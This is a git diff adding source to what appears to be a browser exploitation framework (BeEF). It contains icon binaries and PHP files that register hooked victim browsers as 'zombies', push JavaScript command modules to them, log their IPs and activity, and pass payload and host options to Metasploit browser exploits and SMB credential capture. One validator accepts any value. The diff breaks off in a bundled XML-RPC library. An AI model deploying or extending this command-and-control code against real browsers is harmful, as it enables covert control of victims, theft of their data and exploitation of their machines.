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 a>i+??@yWK8;rvGc0000{9u literal 0 HcmV?d00001 diff --git a/images/epiphany.png b/images/epiphany.png new file mode 100644 index 0000000000000000000000000000000000000000..dc87718c5cc82d11d1047cf4da7b33c225ceca10 GIT binary patch literal 631 zcmV--0*L*IP)Tc6K+L!bWoZstDwdBNt4WTFtu|%#`s}34l0x5ZJjyZXs_H89l@Sw~2~*efwxPCY_-{{RH%cmWA72gq zj9cc))vX-FGx8+s@bceFej>-oKm-p2$7e7wANk%&ZYJ01(m5{>PS?xPPtH>&<5( z8)ou6>8;JRC^U8g0JD@rDYY4nq^G$y!jVwKGJ-2<$=dC!EmEdtL{y4|5Cu7z zzoYTK;kOS*jMBVA9W6D{m_7StnMffbGYdonU_`voa7HDpSbQ)0fL32sZhZRMdHq4p z-NBumh_j^(1OkXi%tt(KT@$Y-XTpE}g?{{cGxd4#+j?U~X>CP0GXerSA7Ex8mQuVJ zpL+CcY;|)hX`eWIy5!2Gb15mQ%!G)Ji5yMXHZ$7^Yi#nv^z1w{GqY04f&bUCJ9haz R&@})6002ovPDHLkV1n?(9o7H< literal 0 HcmV?d00001 diff --git a/images/firefox.png b/images/firefox.png new file mode 100644 index 0000000000000000000000000000000000000000..eb55e7e18d4efacdced68289614a5f48a9fc6ee4 GIT binary patch literal 368 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~`X#OrCC){ui6xo&c?uz!xv30g zsd;(|Mg|ILFUyKR3Tn9*sC$qb+%OS+@4BLl<6e(pbstU$g&fKQ0)@8ADFefV(g-02yM zw-@-in>$3!pU}40OX*H1-^*&bS5uAG)Ovm2>A+sP@$uR;k16}bgl>xh^)i+O`2{mL zJiCzwwc6hbmm72G|21E$vbbOIH#mw5WRvR`77;8PPe+;}AgD8yOd5n0T@z%2yA zjF;}#{Q(NHq&xaLGB9lH=l+w(3gk-%_=LFr|NsBYnKLtI&NMbQPD@Jza)B~4XQnYQ z7+d|AG!MvOED7=pW^j0R11QGe?djqeQgO?)&r|4t0|%4fl_&r8`z$8!yV2^+Im2UB zETh|&Wiw9oZRGNu(ePsrSNn;iZocs7I4i3cd>OT(mrt%vcoe?aYWg3>(znbd&l#IK TexH*98q476>gTe~DWM4fP&Z&x literal 0 HcmV?d00001 diff --git a/images/linux.png b/images/linux.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}TVrCMMGnin?c?T%OS>O>_%)r3)0fZTy)|kuy z3bLd-`Z_W&Z0zU$lgJ9>8wB`-xc>kD|J<>?@Apb9Ef(nMsouJF%A7egs4K%IV_?)XP{B)${Vdm@u z3`}#3)f+PZ>3>$(@+;KfY~U|uAM14|YZ#VD)W46bWK{W+_I+BW!>sb}FV}u<{L+1S zcRy36-qLw@kLw#67-&v?BNiUTuq4z-jWLr=aq@*HOl%CN8RW#BliC7-b}@Lm`njxg HN@xNAjD>Q7 literal 0 HcmV?d00001 diff --git a/images/mac.png b/images/mac.png new file mode 100644 index 0000000000000000000000000000000000000000..03f56f402b358da99276239b173783c6ceda025d GIT binary patch literal 282 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuIv}M`1m!orz`*H1`2T& zctjR6FmMZjFyp1Wb$@_@Ea{HEjtmSN`?>!lvI6;90X`wF2M!!KcI~;MVUSnxl;oDZ zhF&dBUO`*Wy^qQ+){L4XA)z^E>$&Wny-U|_Wxc>92h_z_666=m;PC858jzFb>Eakt zaVt3?A>n}sgU~rWy|C7&PkGeN*-33Wep)gnCU#o52~(#3^)I*HI^24G;bYN+J>8dG z1>Qb-wDejWhmd{F6plykvt(Z9-8z@>$g=d(qP)Tdd%A;_BldP@TLs7p7-$(7Ffc@a WR^0mY%$F#jjSQZyelF{r5}E*eT4rDX literal 0 HcmV?d00001 diff --git a/images/mozilla.png b/images/mozilla.png new file mode 100644 index 0000000000000000000000000000000000000000..6008a31ae14466af14778c8172fbbd35f20e13ba GIT binary patch literal 289 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuI!hYIE7Ut768wB`-xT*>WyUWU?ONqC!b1oC) zJ;cR!kAvX@Gebm>Uv+NIvT4&!9X$B_-lO-=o_+uR{r~^}CQr6=1ND}8x;TbZ+)DoO z|NWVr<^TU1|FKq8+4<{VecSb3wUa%+{~6y&DC0DH^Y8qHgHcJ3gf{gjHbzCv$ehLA zykvK@w9|9tYg(1cIwUf i-}vSK|MGK8nG8m@rdRd3{zU=pXYh3Ob6Mw<&;$VIB62bS literal 0 HcmV?d00001 diff --git a/images/msie.png b/images/msie.png new file mode 100644 index 0000000000000000000000000000000000000000..6dbe4d07e4962b5814dd7a81d57852092a183766 GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuI!hY85xZ=1uFgi1BEyX zJR*x37`Q%wFr(8NlNmrkmUKs7M+SzC{oH>NS%G|m0G|+7+py_+;RiHhA3EedkLY<_ zGwu3><##H#e&4wF{K;!?H=h1}?)HzDA3uKo{{Q=b5IF2@sR7h0P!i-93>H8T3=foJ zC4q8ly&!Cc;&>(hT6UbE!QqoDI2LIX0MZrSpcM_#1Grn%>Lqsih)lTOvPt+(T8 ra?NMQuI!hXnFM6ma(Dha4iw@n z@Q5sCVBi)4Va7{$>;3=*S<)SS9T^xl_H+M9WCijK0(?STr^(26yEt!EQaf#HTbi4@ zq@w&}1{{RZT zyZif}@t^hOR0$glsUr!;P{m~l_& zP|hxKjdvTHPaaY>=smd9`NTHYHC+pj9zIyt9?g5$SKR&U{6nuL{=F*@G-8|iyWISQ a9K(}Lv)L_Cw%$Oi89ZJ6T-G@yGywqEVS1_n literal 0 HcmV?d00001 diff --git a/images/safari.png b/images/safari.png new file mode 100644 index 0000000000000000000000000000000000000000..683f2ea2bf72347f9e8ceea793bec2c6b651587b GIT binary patch literal 324 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~>?NMQuI!hY85wm|&-U4J1BEyX zJR*x37`Q%wFr(8NlNmrkmUKs7M+SzC{oH>NS%G|m0G|-o*o4Hux^)eOh3#FF3};*o zS$MT<=Kh*3Hy5WIcw>hGNByQq~NU1x1C@#bz_iObky9akFHYnc@~6>Sf8WX-cSjXf-#(C+$*~ z@Jsv*f0_2woL0Ec@P7mI%n95e^Cu}=|NsBm&gkVYqu)n?&S3C#^>bP0l+XkK__v5e literal 0 HcmV?d00001 diff --git a/images/unknown.png b/images/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..895b771387e91f850ff65e3f49f0231ee0a88ffe GIT binary patch literal 218 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}T;Ns)g)Zui`)c^`{7I;J!Gca%qfiUBxyLEqn zf-LEdzK#qG8~eHcB(eheYymzYuK)l42QotsU9JOCj3q&S!3+-1ZlnP@DxNNmAr-fh z6B?M^9659uS`_po6f9@-wJ*GtA^z!@C!#p25@A&t;ucLK6T! Ca66Cy literal 0 HcmV?d00001 diff --git a/images/win.png b/images/win.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0vp^d?3ui3?$#C89V|~QYEetB`&GO$wiq3C7Jno48Dme zsS4$pB^e6tp1uKJLku?qRk4?N`ns}T;Ns)g)Sj;VqZ=s1S>O>_%)r1c1j3A$?$-SQ z3bLd-`Z_W&Z0zU$lgJ9>8wB`-xPJft{nnZ&O+&+|pdbMOi6BeEt=H~lAA2tmm24;> z5GBDO(7v-g-}2tIV-M{GlFu2||4i`&>SZhm@(X5gcy=QV$jS3`aSW-rm7Ku9 diff --git a/include/check_install.inc.php b/include/check_install.inc.php new file mode 100644 index 000000000..2a617de0a --- /dev/null +++ b/include/check_install.inc.php @@ -0,0 +1,24 @@ +location.href = '" . $install_url . "..'"; + echo '
  • Configure BeEF
  • '; + } else { + echo 'Install and configure BeEF first'; + } + + exit(0); + } + +?> \ No newline at end of file diff --git a/include/common.inc.php b/include/common.inc.php new file mode 100644 index 000000000..9c7580f8c --- /dev/null +++ b/include/common.inc.php @@ -0,0 +1,157 @@ +alert("' . $str . '")'); + } + + // ---[ GET_B64_FILE + // returns the contents of a file in base64 + function get_b64_file($file) { + $raw = file_get_contents($file); + $result = base64_encode($raw); + return $result; + } + + // --[ BEEF_ERROR + function beef_error() { + echo ERROR_GENERIC; + exit; + } + + // --[ GET_LOG + // returns the log file + function get_log() { + $raw = file_get_contents(LOG_FILE); + $log_data = ""; + + $log_data = html_encode_all($raw); + $log_data = convert_10_BR($log_data); + + return $log_data; + } + + // --[ GET_LOG + // returns the log file + function get_summary_log() { + $raw = file_get_contents(SUMMARY_LOG_FILE); + + return $raw; + } + + function convert_10_BR($str) { + return preg_replace('/ /', "
    ", $str); + } + + // --[ HTML_ENCODE_ALL + // html encodes all characters + function html_encode_all($str) { + $rtnstr = ""; + $strlength = strlen($str); + for($i = 0; $i < $strlength; $i++){ + $rtnstr .= "&#" . ord($str[$i]) . ";"; + } + + return $rtnstr; + } + + // --[BEEF_LOG + // log an entry to the beef log + function beef_log($summary, $str) { + // below includes session info - for nat'ed browsers + + $time_stamp = date("d/m/y H:i:s", time()); + $zombie_id = md5(session_id()); + + // create full log + $log_entry = "[" . $time_stamp . " " . $_SERVER['REMOTE_ADDR'] . "] " . $str; + file_put_contents(LOG_FILE, $log_entry . "\n", FILE_APPEND); + + //create summary log + if($summary != "") { + $time_stamp_link = "" ; + $time_stamp_link .= "[" . $time_stamp . " " . $_SERVER['REMOTE_ADDR'] . "]"; + $safe_summary = html_encode_all($summary); + $safe_summary = convert_10_BR($safe_summary); + $log_entry = $time_stamp_link . "
    " . $safe_summary; + + file_start_put_contents(SUMMARY_LOG_FILE, $log_entry . "
    "); + } + } + + function file_start_put_contents($file, $contents) { + $temp = tempnam(TMP_DIR, "delme"); + + touch($temp); + file_put_contents($temp, $contents, FILE_APPEND); + $raw = file_get_contents($file); + file_put_contents($temp, $raw, FILE_APPEND); + + unlink($file); + copy($temp, $file); + unlink($temp); + + } + + if (!function_exists('file_put_contents')) { + define('FILE_APPEND', 1); + function file_put_contents($n, $d, $flag = false) { + $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w'; + $f = @fopen($n, $mode); + if ($f === false) { + return 0; + } else { + if (is_array($d)) $d = implode($d); + $bytes_written = fwrite($f, $d); + fclose($f); + return $bytes_written; + } + } + } + + // --[ MODULE_CODE_AND_RESULT_SETUP + // this sets up session details for the return of the results and + // constructs the code + function module_code_and_result_setup($cmd_file) { + // construct file location strings + $zombie_hook_dir = ZOMBIE_TMP_DIR . session_id(); + + // create a directory for this zombie if it doens't exist + if(!file_exists($zombie_hook_dir)) { + mkdir($zombie_hook_dir); + } + + $zombie_hook_cmd_file = $zombie_hook_dir . "/" . CMD_FILENAME; + $zombie_hook_res_file = $zombie_hook_dir . "/" . RES_FILENAME; + $zombie_hook_res_loc_file = $zombie_hook_dir . "/" . RES_LOC_FILENAME; + + // set the location of the results file in the session + $result_id = md5(rand()); + $_SESSION[$result_id] = $zombie_hook_res_file; + + // determine where to put the results + if(file_exists($zombie_hook_res_loc_file)) { + $res_loc_arr = file($zombie_hook_res_loc_file); + $_SESSION[$result_id] = MODULE_TMP_DIR . $res_loc_arr[0]; + $_SESSION['append'] = 1; + unlink($zombie_hook_res_loc_file); + } else { + $_SESSION[$result_id] = $zombie_hook_res_file; + $_SESSION['append'] = 0; + } + + // get the javascript command file + $cmd_file_content = file_get_contents($cmd_file); + + // return javascript string to set result_id + $js_result_id_code ="var result_id = '$result_id';\n"; + + return $js_result_id_code . $cmd_file_content; + } + +?> diff --git a/include/filter.inc.php b/include/filter.inc.php new file mode 100644 index 000000000..421852005 --- /dev/null +++ b/include/filter.inc.php @@ -0,0 +1,26 @@ +array("min_range"=>0, "max_range"=>65535)); + return filter_var($port, FILTER_VALIDATE_INT, $int_options); + } + + function valid_url($url) { + if( preg_match("/\.\./", $url) ) return FALSE; + if( ! preg_match("/^[a-zA-Z0-9\._:\/]*$/", $url) ) return FALSE; + return filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED); + } + + function valid_url_without_query($url) { + if(filter_var($url, FILTER_FLAG_QUERY_REQUIRED)) return FALSE; + return valid_url($url); + } + +?> \ No newline at end of file diff --git a/include/globals.inc.php b/include/globals.inc.php new file mode 100644 index 000000000..95faeeb13 --- /dev/null +++ b/include/globals.inc.php @@ -0,0 +1,112 @@ +None Connected'); + define('ZOMBIE_IMG_ATT', ' width="12" height="12" align="top" border="0"'); + define('ZOMBIE_UA_IMG_TAG', ''); + define('ZOMBIE_OS_IMG_TAG', ''); + define('ZOMBIE_IP_TAG', '
    IPADDRESS
    '); + define('ZOMBIE_CHANGE_HREF', ''); + define('ZOMBIE_NOT_SEL_TAG', '
    '); + define('ZOMBIE_SEL_TAG', ''); + define('ZOMBIE_LINK_SEL', ZOMBIE_SEL_TAG . ZOMBIE_CHANGE_HREF . ZOMBIE_UA_IMG_TAG . + ZOMBIE_OS_IMG_TAG . ZOMBIE_IP_TAG . '
    '); + + define('MODULE_BUTTON_HTML', '' . "\n"); + + define('MODULE_MENU_ITEM_HTML', '
  • NAME
  • '); + + // install + define('INSTALL_WARNING_TEXT', 'ERROR: BeEF may not have been installed correctly.Edit the "' . + 'define(\'BASE_DIR\', "/var/.../htdocs/beef/");' . + ' line of the \'globals.inc.php\' file in the \'include\' dirrctory and point' . + ' this value at the BeEf install directory.'); + define('INSTALL_WARNING', '' . INSTALL_WARNING_TEXT . ''); + + // agents + define('AGENT_UNKNOWN_IMG', "unknown.png"); + define('AGENT_FIREFOX_UA_STR', "Firefox"); + define('AGENT_FIREFOX_IMG', "firefox.png"); + define('AGENT_MOZILLA_UA_STR', "Mozilla"); + define('AGENT_MOZILLA_IMG', "mozilla.png"); + define('AGENT_IE_UA_STR', "Internet Explorer"); + define('AGENT_IE_IMG', "msie.png"); + define('AGENT_SAFARI_UA_STR', "Safari"); + define('AGENT_SAFARI_IMG', "safari.png"); + define('AGENT_KONQ_UA_STR', "Konqueror"); + define('AGENT_KONQ_IMG', "konqueror.png"); + define('AGENT_CHROME_UA_STR', "Chrome"); + define('AGENT_CHROME_IMG', "chrome.png"); + + // os'es + define('OS_UNKNOWN_IMG', "unknown.png"); + define('OS_WINDOWS_UA_STR', "Windows"); + define('OS_WINDOWS_IMG', "win.png"); + define('OS_LINUX_UA_STR', "Linux"); + define('OS_LINUX_IMG', "linux.png"); + define('OS_MAC_UA_STR', "Mac"); + define('OS_MAC_IMG', "mac.png"); +?> diff --git a/include/hook.inc.php b/include/hook.inc.php new file mode 100644 index 000000000..af52230a3 --- /dev/null +++ b/include/hook.inc.php @@ -0,0 +1,65 @@ + \ No newline at end of file diff --git a/include/msf.inc.php b/include/msf.inc.php new file mode 100644 index 000000000..12014ad67 --- /dev/null +++ b/include/msf.inc.php @@ -0,0 +1,7 @@ + diff --git a/include/msf_filter.inc.php b/include/msf_filter.inc.php new file mode 100644 index 000000000..9cb66180f --- /dev/null +++ b/include/msf_filter.inc.php @@ -0,0 +1,134 @@ + 50) { + return FALSE; + } + + if( !( preg_match("/multi\/browser\/[a-z_]+/", $exploit) || + preg_match("/osx\/browser\/[a-z_]+/", $exploit) || + preg_match("/windows\/browser\/[a-z_]+/", $exploit)) ) { + return FALSE; + } + + return $exploit; + } + + function get_and_filter_payload() { + + $payload = $_GET["payload"]; + + if(strlen($payload) > 50) { + return FALSE; + } + + if( !preg_match("/[a-z_]+\/[a-z_]+[\/[a-z_]+]{0,1}/", $payload) ) { + return FALSE; + } + + return $payload; + } + + function valid_exitfunc($func) { + if ( ($func == "seh") || ($func == "thread") || ($func == "process") ) { + return true; + } + + return true; + } + + function valid_srvhost($ip) { + return valid_ip($ip); + } + + function valid_srvport($port) { + return valid_port($port); + } + + function valid_urlpath($path) { + if( ! preg_match("/^[a-zA-Z0-9\/\.]*$/", $path) ) return FALSE; + return TRUE; + } + + function get_and_filter_smb_capture_options() { + + $options = array(); + + // SRVHOST + if(!$_GET["SRVHOST"]) return FALSE; + if(!valid_ip($_GET["SRVHOST"])) return FALSE; + $options["SRVHOST"] = $_GET["SRVHOST"]; + + // SRVPORT + if(!$_GET["SRVPORT"]) return FALSE; + if(!valid_port($_GET["SRVPORT"])) return FALSE; + $options["SRVPORT"] = $_GET["SRVPORT"]; + + // URIPATH + if($_GET["URIPATH"]) { + if(!valid_urlpath($_GET["URIPATH"])) return FALSE; + $options["URIPATH"] = $_GET["URIPATH"]; + } + + return $options; + } + + function get_and_filter_module_options() { + + $options = array(); + + // PAYLOAD + $options["PAYLOAD"] = get_and_filter_payload(); + + // SRVHOST + if(!$_GET["SRVHOST"]) return FALSE; + if(!valid_ip($_GET["SRVHOST"])) return FALSE; + $options["SRVHOST"] = $_GET["SRVHOST"]; + + // SRVPORT + if(!$_GET["SRVPORT"]) return FALSE; + if(!valid_port($_GET["SRVPORT"])) return FALSE; + $options["SRVPORT"] = $_GET["SRVPORT"]; + + // LPORT + if($_GET["LPORT"]) { + if(!valid_port($_GET["LPORT"])) return FALSE; + $options["LPORT"] = $_GET["LPORT"]; + } + + // RHOST + if($_GET["RHOST"]) { + if(!valid_ip($_GET["RHOST"])) return FALSE; + $options["RHOST"] = $_GET["RHOST"]; + } + + // LHOST + if($_GET["LHOST"]) { + if(!valid_ip($_GET["LHOST"])) return FALSE; + $options["LHOST"] = $_GET["LHOST"]; + } + + // URIPATH + if($_GET["URIPATH"]) { + if(!valid_urlpath($_GET["URIPATH"])) return FALSE; + $options["URIPATH"] = $_GET["URIPATH"]; + } + + // EXITFUNC + if($_GET["EXITFUNC"]) { + if(!valid_exitfunc($_GET["EXITFUNC"])) return FALSE; + $options["EXITFUNC"] = $_GET["EXITFUNC"]; + } + + return $options; + } + +?> \ No newline at end of file diff --git a/include/ui_module.inc.php b/include/ui_module.inc.php new file mode 100644 index 000000000..e86997165 --- /dev/null +++ b/include/ui_module.inc.php @@ -0,0 +1,96 @@ +", file($dirname . '/' . MODULE_NAME_FILENAME)); + // create html module buttons + $result .= get_module_button_html(trim($name), "/symmetric/" . basename($dirname)); + } + return $result; + } + + +?> \ No newline at end of file diff --git a/include/ui_zombie.inc.php b/include/ui_zombie.inc.php new file mode 100644 index 000000000..423d3c45f --- /dev/null +++ b/include/ui_zombie.inc.php @@ -0,0 +1,230 @@ +' . + ' ' . + ' ' . + $zombie_details['ip'] . ''; + } else { + // this means the zombie has been lost + // leave history/details in directory + } + } + + closedir($d); + + // if no zombies return the default value + if($result == "") { $result = ZOMBIE_NONE; } + return $result; + } + + // ---[ GET_ZOMBIE_DATA + function get_zombie_data($file){ + $browser_details = file_get_contents($file); + + $zombie_data['ip'] = extract_zombie_ip($browser_details); + $zombie_data['agent_image'] = extract_zombie_useragent($browser_details); + $zombie_data['os_image'] = extract_zombie_os($browser_details); + + return $zombie_data; + } + + // ---[ EXTRACT_ZOMBIE_IP + function extract_zombie_ip($raw_zombie_data) { + // get ip address from data + return substr("$raw_zombie_data",0,strpos($raw_zombie_data,"\n")+strlen("\n")); + } + + // ---[ EXTRACT_ZOMBIE_USERAGENT + function extract_zombie_useragent($raw_zombie_data) { + // find agent type + if(stristr($raw_zombie_data, AGENT_FIREFOX_UA_STR)) { + return AGENT_FIREFOX_IMG; + } + if(stristr($raw_zombie_data, AGENT_IE_UA_STR)) { + return AGENT_IE_IMG; + } + if(stristr($raw_zombie_data, AGENT_CHROME_UA_STR)) { + return AGENT_CHROME_IMG; + } + if(stristr($raw_zombie_data, AGENT_SAFARI_UA_STR)) { + return AGENT_SAFARI_IMG; + } + if(stristr($raw_zombie_data, AGENT_KONQ_UA_STR)) { + return AGENT_KONQ_IMG; + } + if(stristr($raw_zombie_data, AGENT_MOZILLA_UA_STR)) { + return AGENT_MOZILLA_IMG; + } + + return AGENT_UNKNOWN_IMG; + } + + // ---[ EXTRACT_ZOMBIE_OS + function extract_zombie_os($raw_zombie_data) { + + // find os type + if(stristr($raw_zombie_data, OS_WINDOWS_UA_STR)) { + return OS_WINDOWS_IMG; + } + if(stristr($raw_zombie_data, OS_LINUX_UA_STR)) { + return OS_LINUX_IMG; + } + if(stristr($raw_zombie_data, OS_MAC_UA_STR)) { + return OS_MAC_IMG; + } + + return OS_UNKNOWN_IMG; + } + +?> diff --git a/include/xmlrpc.inc.php b/include/xmlrpc.inc.php new file mode 100644 index 000000000..21e29a08c --- /dev/null +++ b/include/xmlrpc.inc.php @@ -0,0 +1,3718 @@ + +// $Id: xmlrpc.inc,v 1.174 2009/03/16 19:36:38 ggiunta Exp $ + +// Copyright (c) 1999,2000,2002 Edd Dumbill. +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// +// * Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above +// copyright notice, this list of conditions and the following +// disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of the "XML-RPC for PHP" nor the names of its +// contributors may be used to endorse or promote products derived +// from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +// REGENTS OR 